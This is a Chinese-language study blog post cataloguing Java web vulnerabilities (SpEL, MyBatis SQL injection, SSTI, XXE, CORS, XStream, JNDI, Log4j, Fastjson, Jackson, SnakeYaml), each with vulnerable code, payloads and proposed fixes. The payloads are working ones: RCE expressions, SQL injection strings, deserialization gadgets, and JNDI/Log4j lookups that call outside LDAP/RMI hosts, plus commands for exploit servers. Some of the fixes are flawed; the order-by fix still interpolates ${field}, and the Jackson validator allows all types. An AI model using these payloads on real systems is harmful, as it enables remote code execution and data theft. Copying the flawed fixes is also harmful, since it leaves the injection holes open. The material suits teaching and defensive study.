本文为个人学习记录,由于我也是初学者可能会存在错误,如有错误请指正
本文主要是Java常见漏洞的大杂烩,无深入分析漏洞原因
SpEL表达式注入
SpEL(Spring Expression Language,Spring 表达式语言)是 Spring 框架的一部分,用于在运行时动态解析和执行表达式。SpEL 表达式可以用来访问对象属性、调用方法、执行算术运算、调用逻辑表达式、甚至在 XML 配置和注解中使用。它具有很大的灵活性和强大的功能,通常用于 Spring 框架中的配置、条件判断以及动态值注入。
前置知识
package com.example.springel;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class testSpringEl {
public static void main(String[] args) {
// 创建 SpEL 解析器
ExpressionParser parser = new SpelExpressionParser();
// 1. 解析常量表达式
Expression expression1 = parser.parseExpression("'Hello, Spring Expression Language!'");
String message = expression1.getValue(String.class);
System.out.println("常量字符串解析结果: " + message);
// 2. 调用方法
Expression expression2 = parser.parseExpression("'Hello'.concat(' World')");
String concatenatedString = expression2.getValue(String.class);
System.out.println("方法调用解析结果: " + concatenatedString);
// 3. 访问对象属性
Person person = new Person("John", 30);
Expression expression3 = parser.parseExpression("name");
String personName = expression3.getValue(person, String.class);
System.out.println("对象属性解析结果: " + personName);
// 4. 执行算术运算
Expression expression4 = parser.parseExpression("10 * 5 + 2");
Integer result = expression4.getValue(Integer.class);
System.out.println("算术运算解析结果: " + result);
// 5. 使用三元表达式
Expression expression5 = parser.parseExpression("age > 18 ? 'Adult' : 'Minor'");
String ageCategory = expression5.getValue(person, String.class);
System.out.println("三元表达式解析结果: " + ageCategory);
}
}
漏洞代码
// 1. 创建解析器:SpEL使用ExpressionParser接口表示解析器,提供SpelExpressionParser默认实现
ExpressionParser parser = new SpelExpressionParser();
// StandardEvaluationContext权限过大,可以执行任意代码
EvaluationContext evaluationContext = new StandardEvaluationContext();
// 2. 解析表达式: 使用ExpressionParser的parseExpression来解析相应的表达式为Expression对象
// 3. 求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值
String result = parser.parseExpression(exp).getValue(evaluationContext).toString();
model.addAttribute("results", result);
漏洞原因
-
过大的权限范围:
使用了StandardEvaluationContext
,它默认提供了对反射、静态方法调用等功能的访问权限。攻击者可以通过精心构造的表达式利用这些功能,执行任意代码或访问敏感数据。 -
表达式未经过滤或校验:
直接将外部输入(如exp
)传入parser.parseExpression(exp)
进行解析和执行。这为攻击者提供了机会,在exp
中注入恶意表达式,比如执行System.exit(0)
结束程序,或者调用Runtime.getRuntime().exec()
执行系统命令。
Payload
T(java.lang.Runtime).getRuntime().exec("calc.exe")
修复方案
方案一:
通过 SimpleEvaluationContext
来代替 StandardEvaluationContext
。SimpleEvaluationContext
提供了更严格的限制,禁止访问静态方法和构造函数,也无法执行反射调用。
// 创建解析器
ExpressionParser parser = new SpelExpressionParser();
// 使用受限的 SimpleEvaluationContext
EvaluationContext evaluationContext = SimpleEvaluationContext.forReadOnlyDataBinding().build();
// 解析表达式并求值
String result = parser.parseExpression(exp).getValue(evaluationContext, String.class);
model.addAttribute("results", result);
方案二:
输入的 exp
进行严格的过滤和校验,确保其内容符合安全要求,并防止用户输入复杂的 SpEL 表达式。例如,可以只允许简单的数学运算或数据绑定,而不是任意的代码执行。
if (!isValidExpression(exp)) {
throw new IllegalArgumentException("Invalid expression");
}
// 安全地解析和执行表达式
String result = parser.parseExpression(exp).getValue(evaluationContext).toString();
model.addAttribute("results", result);
// 简单的表达式校验逻辑 (示例)
private boolean isValidExpression(String exp) {
// 仅允许数字、基本操作符、字母和空格
return exp.matches("[0-9\\+\\-\\*/\\(\\)\\s]+");
}
Mybatis
作用和JDBC一样
前置知识
在Spring boot的配置文件application.yml
中添加Mysql配置
spring:
datasource:
url: jdbc:mysql://localhost:3306/mybatis
username: root
password: 123456
driver-class-name: com.mysql.cj.jdbc.Driver
在entity
层添加 对应数据表中单行数据 便于实例化的对象 类似于Java web中的pojo
users
表结构:
package com.example.springbootmybatis.entity;
public class User {
private Integer id;
private String username;
private String password;
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
@Override
public String toString() {
return "User{" +
"id=" + id +
", username='" + username + '\'' +
", password='" + password + '\'' +
'}';
}
}
在mapper层添加UserMapper
接口,有点类似Java Web的Dao层
@Mapper
告诉 Spring Boot 框架,这个接口是用于与数据库进行交互的,框架会自动为其创建实现类@Select()
选择查询 绑定到下方抽象方法 当抽象方法执行时就会调用相应的查询,其他语句一样
package com.example.springbootmybatis.mapper;
import com.example.springbootmybatis.entity.User;
import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.Select;
import java.util.List;
@Mapper
public interface UserMapper {
@Select("select * from users")
public List<User> findAll();
@Select("select * from users where id = ${id}")
public User findByid(Integer id);
}
在Controller
层添加执行SQL
的controller
@Autowired
框架会自动查找与UserMapper
类型匹配的已注册的 bean,并将其注入到userMapper
变量中。这样,在控制器中就可以直接使用userMapper
来进行数据库操作,而无需手动创建和初始化。
@RestController
注解和@Controller
注解有以下区别:
1. 返回值类型
– @Controller
:通常用于处理视图的渲染,方法返回值可以是视图名称或模型对象,结合视图解析器将数据渲染到视图页面。
– @RestController
:用于构建 RESTful 风格的服务,方法返回值直接作为 HTTP 响应的正文,通常是 JSON、XML 等数据格式。
2. 处理请求方式
– @Controller
:更侧重于页面跳转和数据传递给视图。
– @RestController
:专注于处理数据的交互,直接返回数据给客户端。
package com.example.springbootmybatis.controller;
import com.example.springbootmybatis.entity.User;
import com.example.springbootmybatis.mapper.UserMapper;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.util.List;
@RestController
public class GetUserController {
@Autowired
private UserMapper userMapper;
@GetMapping("/getuser")
public List<User> getUser(){
List<User> users = userMapper.findAll();
return users;
}
@GetMapping("/getuserbyid")
public User getUserByid(@RequestParam Integer id){
User user = userMapper.findByid(id);
return user;
}
}
like 注入
开发者使用Mybati时使用like
模糊匹配
@Select("Select * from users where username like '%#{username}%'")
// # 报错 语法错误
// `#{}` 是用于安全绑定参数的,MyBatis会将参数作为字面量值传递 而%应该与SQL语句一体
此时一位刚入门的开发者为了图方便将#
改为$
@Select("Select * from users where username like '%${username}%'")
而$
是用于连接SQL语句,类似于
"Select * from users where username like % "+ $_GET[username] + "%"
就会导致SQL注入
Payload
xxx%' union select database(),user(),@@version,4,5 -- -
修复方案
@Select("Select * from users where username like concat('%',#{username}, '%')")
Order by 注入
由于使用#{}
会将对象转成字符串,形成 order by \"user\" desc
造成错误
@Select("select * from users order by #{field}")
//逻辑错误 导致传参称变为字符串
此时一位刚入门的开发者为了图方便将#
改为$
@Select("select * from users order by ${field}")
就会导致SQL注入
Payload
id and (updatexml(1,concat(0x7e,(select user())),0))-- -
修复方案
@Select("<script> select * from users order by ${field} </script>")
In 注入
in之后多个id查询时使用 # 同样会报错
@Select("SELECT * FROM users WHERE id IN (#{ids})")
此时一位刚入门的开发者为了图方便将#
改为$
就会导致SQL注入
Payload
1,2,3) and (updatexml(1,concat(0x7e,(select user())),0))-- -
修复方案
@Select("<script>" + "SELECT * FROM users WHERE id IN " + "<foreach item='item' index='index' collection='ids' open='(' separator=',' close=')'>" + "#{item}" + "</foreach>" + "</script>")
RCE
RuntimeExec
Process proc = Runtime.getRuntime().exec(cmd);
ScriptEngineManager
在Java 8之后ScriptEngineManager没有eval函数
ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");
// Bindings:用来存放数据的容器
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
String payload = String.format("load('%s')", url);
engine.eval(payload, bindings);
model.addAttribute("results", "远程脚本: " + HtmlUtils.htmlEscape(url) + " 执行成功!");
Payload
var a = mainOutput();
function mainOutput() {
var x=java.lang.Runtime.getRuntime().exec("calc")
};
Groovy
GroovyShell shell = new GroovyShell();
shell.evaluate(cmd);
Payload
"calc".execute()
ProcessBuilder
此时ip变量为用户输入
String[] cmdList = {"cmd", "/c", "ping -n 1 " + ip};
StringBuilder sb = new StringBuilder();
// 利用指定的操作系统程序和参数构造一个进程生成器
ProcessBuilder pb = new ProcessBuilder(cmdList);
Payload
127.0.0.1 | calc
ProcessImpl
Class<?> clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
Process e = (Process) method.invoke(null, new String[]{cmd}, null, null, null, false);
通用修复方案加过滤
XXE
XMLReader
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
xmlReader.parse(new InputSource(new StringReader(content)));
SAXReader
SAXReader sax = new SAXReader();
sax.read(new InputSource(new StringReader(content)));
SAXBuilder
SAXBuilder saxbuilder = new SAXBuilder();
saxbuilder.build(new InputSource(new StringReader(content)));
DocumentBuilder
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Unmarshaller
XMLInputFactory xif = XMLInputFactory.newFactory();
XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(content));
修复方案
关闭实体 不允许外部使用 DOCTYPE
DocumentBuilder、SAXBuilder、SAXReader、XMLReader
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
Unmarshaller
xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
xif.setProperty(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
SSTI
thymeleaf
前置知识
导入thymeleaf模版
,在pom.xml
添加
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
在Controller
层创建模版对应的数据类
controller/basevul/SSTIVul.java
@Controller
@RequestMapping("/home/ssti")
public class SSTIVul {
@RequestMapping("/thymeleaf")
public String thymeleaf(String content) {
return "user/" + content + "/welcome"; //template path is tainted
}
}
在thymeleaf模版文件对接数据类
templates/basevul/ssti/thymeleaf.html
<form class="layui-form" th:action="@{/home/ssti/thymeleaf}" method="get">
<div class="layui-form-item">
<label class="layui-form-label">content: </label>
<div class="layui-input-block">
<input type="text" name="content" lay-verify="required" lay-reqtext="content不能为空" value="__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::" autocomplete="off" class="layui-input">
</div>
</div>
<div class="layui-form-item">
<div class="layui-input-block">
<button class="layui-btn" lay-submit="" lay-filter="demo1">立即提交</button>
<button type="reset" class="layui-btn layui-btn-primary">重置</button>
</div>
</div>
</form>
<!--执行结果-->
<div th:replace="~{commons/commons::results}"></div>
模板特有代码解析
th:action="@{/home/ssti/thymeleaf}"
:
– th:action
是Thymeleaf中的一个属性,作用是动态生成表单的提交地址(URL)。
– @{/home/ssti/thymeleaf}
表示将生成一个 /home/ssti/thymeleaf
的URL。Thymeleaf会自动根据应用上下文来解析这个路径,并确保生成的URL是正确的。
~{commons/commons::head}
:
– commons/commons
指向了一个名为 commons.html
的模板文件。这个文件通常放在 `templates/commons` 目录下。
– ::head
表示从 commons.html
中引用名为 head
的片段(fragment)。
漏洞解析
th:fragment 、th:text 这种形式,这种就是 thymeleaf 中的指令
${message}
表示从 model 中取对应 key 的值,而 ${…}
这里面是 ognl/SpringEL 表达式,比如` ${7*7}` 会执行里面运算,得到 49 ,同样延申一下 ognl 表达式:${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
,SpringEL 表达式:${T(java.lang.Runtime).getRuntime().exec('calc')}
。${}
内部的通过 OGNL 表达式引擎解析的,外部的通过 thymeleaf 模板引擎解析 。
thymeleaf 在解析包含 :: 的模板名时,会将其作为表达式去进行执行
Payload
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::
noreturn
controller/basevul/SSTIVul.java
@Controller
@RequestMapping("/home/ssti")
public class SSTIVul {
@RequestMapping("/noreturn/{content}")
public void noReturn(String content) {
System.out.println("ok");
}
}
templates/basevul/ssti/noreturn.html
<div class="layui-form-item">
<div class="layui-input-block">
<button class="layui-btn" lay-submit="" lay-filter="demo1" onclick="jump()">
立即提交
</button>
<button type="reset" class="layui-btn layui-btn-primary">重置</button>
</div>
</div>
<script>
function jump() {
const content = document.getElementById('test').value;
const url = window.location.protocol + "//" + window.location.host + "/home/ssti/noreturn/" + content;
window.location.href =url
}
</script>
漏洞解析
如果controller无返回值,则以GetMapping的路由为视图名称。
对于每个http请求来讲,其实就是将请求的url作为视图名称,调用模板引擎去解析。
在这种情况下,我们只要可以控制请求的controller的参数,一样可以造成RCE漏洞。
Payload
__${T(java.lang.Runtime).getRuntime().exec("calc")}__::.x
CORS(跨域资源共享)
跨域:浏览器对于js的同源策略限制,若域名和端口一致则不存在跨域问题
前置知识
CORS头解析:origin:
表示请求的来源域名Access-Control-Allow-Origin
指定允许跨域的域名Access-Control-Allow-Credentials: true
被启用时,浏览器允许发送带有Cookie或其他凭证的请求Access-Control-Allow-Methods
指定允许的HTTP方法,包括GET
, POST
, PUT
, DELETE
, 和 OPTIONS
漏洞代码
@RestController
@RequestMapping("/home/cors")
public class CORSVul {
@Autowired
@SuppressWarnings("all")
AdminService adminService;
@GetMapping("")
public String corsVul(HttpServletRequest request, HttpServletResponse response, HttpSession httpSession) {
// origin头可控
String origin = request.getHeader("origin");
response.setHeader("Access-Control-Allow-Origin", origin);
response.setHeader("Access-Control-Allow-Credentials", "true");
response.setHeader("Access-Control-Allow-Methods", "GET,POST,PUT,DELETE,OPTIONS");
String username = (String) httpSession.getAttribute("username");
Admin admin = adminService.getInfoByUserName(username);
return "登录用户名: " + admin.getUsername() + ", 密码: " + admin.getPassword();
}
}
漏洞解析
origin
字段由请求者控制,则意味着任何来源的请求都可能被允许跨域访问,从而带来安全隐患。
Payload
<!DOCTYPE html>
<html>
<head>
<title>cors poc</title>
</head>
<body>
<script type="text/javascript">
function cors() {
const xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function () {
if (this.status === 200) {
alert(this.responseText);
}
};
// 修改为对应的地址
// 根据返回头修改
xhttp.open("GET", "http://127.0.0.1:8000/home/cors");
xhttp.withCredentials = true;
xhttp.send();
}
cors();
</script>
</body>
</html>
修复方案
加入过滤器或写死Access-Control-Allow-Origin
响应头
Shiro 反序列化
Shiro主要用于处理身份验证、授权、加密和会话管理。它的作用是为Java应用程序提供安全保障,确保用户只能访问被授权的资源。
数据包特征
当勾选记住登录时,响应数据中会出现rememberme
关键字
直接使用利用工具检测利用即可:[GitHub – SummerSec/ShiroAttack2: shiro反序列化漏洞综合利用]
XStream
XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。
前置知识
在pom.xml
中添加XStream依赖
<dependencies>
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.20</version>
</dependency>
</dependencies>
构造一个User类
public class User {
private String username;
private String passwd;
private Integer age;
public User(String username, String passwd, Integer age) {
this.username = username;
this.passwd = passwd;
this.age = age;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPasswd() {
return passwd;
}
public void setPasswd(String passwd) {
this.passwd = passwd;
}
public Integer getAge() {
return age;
}
public void setAge(Integer age) {
this.age = age;
}
}
使用XStream序列化User对象
import com.thoughtworks.xstream.XStream;
public class testXStream {
public static void main(String[] args) {
User user = new User("LY_C", "123546", 21);
XStream xStream = new XStream();
String xml = xStream.toXML(user);
System.out.println(xml);
}
}
结果
<User>
<username>LY_C</username>
<passwd>123546</passwd>
<age>21</age>
</User>
反序列化xml文件
User user1 = (User) xStream.fromXML(xml);
System.out.println(user1);
漏洞代码
@RestController
@RequestMapping("/home/xstream")
public class Xstream {
@RequestMapping("")
public String vul(@RequestBody String content) {
try {
XStream xs = new XStream();
xs.fromXML(content);
return "XStream Vul";
} catch (Exception e) {
return e.toString();
}
}
}
Payload
<sorted-set>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
修复方案
// 创建 XStream 实例
XStream xStream = new XStream();
// 添加安全性配置,防止任意代码执行 禁用所有类
xStream.addPermission(AnyTypePermission.NONE);
// 只允许 String 类
xStream.allowTypes(new Class[] {java.lang.String.class});
JNDI注入
执行rmi或ldap协议
public class JNDIDemo {
public static void main(String[] args) throws NamingException {
//调用对象 支持RMI LDAP协议
InitialContext ini = new InitialContext();
//ldap://172.18.0.1:1389/tunupy相当于class文件
ini.lookup("ldap://172.18.0.1:1389/tunupy");
//或
ini.lookup("rmi://172.18.0.1:1389/tunupy");
}
}
rmi和ldap协议注入适用版本
javax.naming.InitialContext.lookup()
在RMI服务中调用了InitialContext.lookup()的类有:
org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect() org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
在LDAP服务中调用了InitialContext.lookup()的类有:
InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()
工具使用
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C '指令' -A 主机ip地址
marshalsec-0.0.3-SNAPSHOT-all.jar
内置ldap高版本绕过手段
该工具需要将java文件`javac `编译成class字节码文件,并放置到网站根目录中
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#class文件
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.JNDIRefServer http://0.0.0.0/#class文件
Log4j
log4j主要用于日志记录
Log4j2默认支持解析ldap/rmi协议
漏洞代码
@RestController
@RequestMapping("/home/log4j")
public class Log4j {
private static final Logger logger = LogManager.getLogger(Log4j.class);
@RequestMapping("")
public String log4j(String content) {
logger.error(content);
return "Log4j2 JNDI Injection";
}
}
Payload
${jndi:ldap://htktwbdzwt.dgrh3.cn}
Fastjson
用于各种数据之间转换便于网络传输,如对象转JSON,JSON转对象,序列化,反序列化等
前置知识
对象转JSON
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.lyc.User;
public class fastjsonTest {
public static void main(String[] args) {
User user = new User();
user.setAge(22);
user.setName("LY_C");
System.out.println(JSONObject.toJSONString(user, SerializerFeature.WriteClassName));
}
}
JSON转对象
@type
值为指定类型,@type
键值对后的都为对象属性以及值
在执行JSON转对象时,FastJSON
会调用对象
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.lyc.User;
public class fastjsonTest {
public static void main(String[] args) {
String test = "{\"@type\":\"com.lyc.User\",\"age\":22,\"name\":\"LY_C\"}";
JSON.parseObject(test);
}
}
漏洞代码
@RestController
@RequestMapping("/home/fastjson")
public class FastJson {
@RequestMapping("")
public String fastJson(@RequestBody String content) {
try {
// 转换成object
JSONObject jsonToObject = JSON.parseObject(content);
return jsonToObject.get("name").toString();
} catch (Exception e) {
return e.toString();
}
}
}
Payload
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://jndi.fuzz.red:5/ahld/test","autoCommit":true}
Jackson
和Fastjson功能差不多
前置知识
在pom.xml
中添加Jaskson依赖
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.11.0</version>
</dependency>
对象转JSON
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
public class testJackson {
public static void main(String[] args) throws JsonProcessingException {
User user = new User("LY_C", "123546", 21);
ObjectMapper objectMapper = new ObjectMapper();
String jsonString = objectMapper.writerWithDefaultPrettyPrinter().writeValueAsString(user);
System.out.println(jsonString);
}
}
JSON转对象
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
public class testDeJackson {
public static void main(String[] args) throws JsonProcessingException {
String json = "{\"name\":\"李四\",\"passwd\":\"123546\",\"age\":30}";
ObjectMapper objectMapper = new ObjectMapper();
User userFromJson = objectMapper.readValue(json, User.class);
System.out.println("反序列化后的 User 对象:" + userFromJson);
}
}
漏洞代码
@RestController
@RequestMapping("/home/jackson")
public class Jackson {
@RequestMapping("")
public String vul(@RequestBody String content) {
try {
ObjectMapper mapper = new ObjectMapper();
//允许在序列化和反序列化过程中处理多态类型
mapper.enableDefaultTyping();
Object o = mapper.readValue(content, Object.class);
mapper.writeValueAsString(o);
return "解析成功!";
} catch (Exception e) {
e.printStackTrace();
return e.toString();
}
}
}
漏洞解析
使用了mapper.enableDefaultTyping();
允许在序列化和反序列化过程中处理多态类型,该方法会启用 Jackson 的默认类型处理机制,在 JSON 数据中嵌入实际的类信息(如 @class
字段)
Payload
["com.nqadmin.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://jhpfpiabxy.iyhc.eu.org","autoCommit":"true"}]
修复方案
使用 PolymorphicTypeValidator
限制可以反序列化的类,或者完全禁用不必要的多态类型处理功能。
@RestController
@RequestMapping("/home/jackson")
public class JacksonController {
@RequestMapping("")
public String vul(@RequestBody String content) {
try {
ObjectMapper mapper = new ObjectMapper();
// 使用 PolymorphicTypeValidator 来限制允许的类型
BasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
.allowIfSubType(Object.class) // 限制允许的类型
.build();
// 启用类型信息处理时需要明确设置类型校验器
mapper.activateDefaultTyping(ptv, ObjectMapper.DefaultTyping.NON_FINAL);
Object o = mapper.readValue(content, Object.class);
return mapper.writeValueAsString(o);
} catch (Exception e) {
e.printStackTrace();
return e.toString();
}
}
}
原生序列化
原生反序列化主要有三种方式:SnakeYaml
、XMLDecoder、ObjectInputStream.readObject()
readObject()
数据特征:原生序列化的数据一般标记为ac ed 00 05
开头,base64编码的特征为ro0AB
,如下
前置知识
SnakeYaml
主要用于Yaml文件和对象的互相转换
firstName: "John"
lastName: "Doe"
age: 20
yaml文件转对象
public class TestSnakeYaml {
public static void main(String[] args) {
new TestSnakeYaml().testDe();
}
public void testDe() {
Yaml yaml = new Yaml();
InputStream inputStream = this.getClass()
.getClassLoader()
.getResourceAsStream("test.yaml");
if (inputStream == null) {
System.out.println("Error: Could not find the test.yaml file.");
return;
}
Map<String, Object> obj = (Map<String, Object>) yaml.load(inputStream);
System.out.println(obj);
}
}
输出结果
{firstName=John, lastName=Doe, age=20}
字符串转yaml文件
import org.yaml.snakeyaml.DumperOptions;
import org.yaml.snakeyaml.Yaml;
import java.io.InputStream;
import java.util.Map;
public class TestSnakeYaml {
public static void main(String[] args) {
String yamlContent = "name: John Doe\nage: 30\nemail: johndoe@example.com";
new TestSnakeYaml().test(yamlContent);
}
public void test(String content){
DumperOptions options = new DumperOptions();
options.setDefaultFlowStyle(DumperOptions.FlowStyle.BLOCK);
// 使用 options 创建 Yaml 实例
Yaml yaml = new Yaml(options);
// 加载并解析输入内容
Object data = yaml.load(content);
// 序列化解析的内容并打印
String serializedContent = yaml.dump(data);
System.out.println(serializedContent);
}
}
Payload
!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'rmi://127.0.0.1:2222/exp', autoCommit: true}
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:2222"]]]]
XMLDecoder
主要用于xml文件和对象的互相转换
对象转xml
import java.beans.XMLEncoder;
import java.io.FileOutputStream;
import java.io.IOException;
public class testXMLDecoder {
public static void serializeToXML(Person person, String filename) {
try (FileOutputStream fos = new FileOutputStream(filename);
XMLEncoder encoder = new XMLEncoder(fos)) {
encoder.writeObject(person);
System.out.println("Object serialized to XML successfully.");
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
// 创建要序列化的 Person 对象
Person person = new Person("John Doe", 30, "johndoe@example.com");
// 序列化到 XML 文件
serializeToXML(person, "person.xml");
}
}
xml转对象
public class XMLDeserializationExample {
public static Person deserializeFromXML(String filename) {
try (FileInputStream fis = new FileInputStream(filename);
XMLDecoder decoder = new XMLDecoder(fis)) {
return (Person) decoder.readObject();
} catch (IOException e) {
e.printStackTrace();
return null;
}
}
public static void main(String[] args) {
// 从 XML 文件反序列化
Person person = deserializeFromXML("person.xml");
System.out.println("Deserialized object: " + person);
}
}
readObject()
没有回复内容